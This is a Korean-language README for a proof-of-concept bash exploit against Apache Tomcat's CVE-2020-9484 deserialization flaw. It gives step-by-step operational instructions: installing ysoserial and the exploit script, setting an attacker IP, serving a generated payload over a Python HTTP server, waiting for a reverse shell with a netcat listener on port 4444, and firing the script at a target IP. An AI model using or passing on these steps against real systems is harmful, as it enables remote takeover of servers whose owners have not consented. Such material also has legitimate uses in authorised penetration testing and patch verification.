
Apache Tomcat 9.0.27은 CVE-2020-9484로 알려진 원격 코드 실행(RCE) 취약점에 영향을 받습니다. 다른 버전도 영향을 받을 수 있습니다. Kali 2020.4 및 JDK 8에서 테스트했습니다. 이 bash 스크립트는 간단한 개념 증명(PoC)입니다. 교육 목적으로만 사용하십시오.
이 취약점을 통해 원격 공격자는 대상 시스템에서 임의 코드를 실행할 수 있습니다.
이 취약점은 업로드된 파일 이름의 직렬화된 데이터를 처리할 때 안전하지 않은 입력 검증으로 인해 발생합니다. 원격 공격자는 특수하게 조작된 파일 이름을 애플리케이션에 전달하여 대상 시스템에서 임의 코드를 실행할 수 있습니다.
이 취약점을 성공적으로 악용하면 취약한 시스템이 완전히 손상될 수 있지만, 서버가 FileStore와 함께 PersistenceManager를 사용하도록 구성되어 있고 공격자가 저장 위치의 상대 파일 경로를 알고 있어야 합니다.
스크립트를 사용하려면 yoserial이 필요합니다. 설치 방법:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
yoserial을 이미 설치했다면 "yosorial-master.jar"로 이름을 변경해야 합니다.
스크립트를 설치하려면 다음을 입력하세요:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
도움말 메뉴를 열려면 다음을 입력하세요:
./CVE-2020-9484.sh --help
또는
./CVE-2020-9484.sh -h
먼저 스크립트를 열고 14번째 줄에 자신의 IP 주소를 입력하세요:
remote_ip="10.10.16.180" # change this
이 스크립트는 현재 디렉터리에 "payload.sh", "downloadPayload.session", "chmodPayload.session" 및 "executePayload.session" 파일을 생성합니다. 익스플로잇을 사용하려면 80번 포트에서 간단한 리스너를 시작해야 합니다. 예를 들어 Python3를 사용하는 경우(스크립트를 실행하는 폴더에서 시작):
sudo python3 -m http.server 80
또한 4444번 포트에서 netcat 리스너를 시작해야 합니다:
nc -nvlp 4444
이제 공격하려는 대상 시스템의 IP 주소로 스크립트를 실행하세요:
./CVE-2020-9484.sh target-ip
작동하지 않으면 JDK 8을 사용해야 합니다. 사용 중인 버전을 확인하려면 다음을 입력하세요:
java -version
JDK 12 이상에서는 작동하지 않을 수 있습니다. 자세한 내용은 여기에서 확인하세요.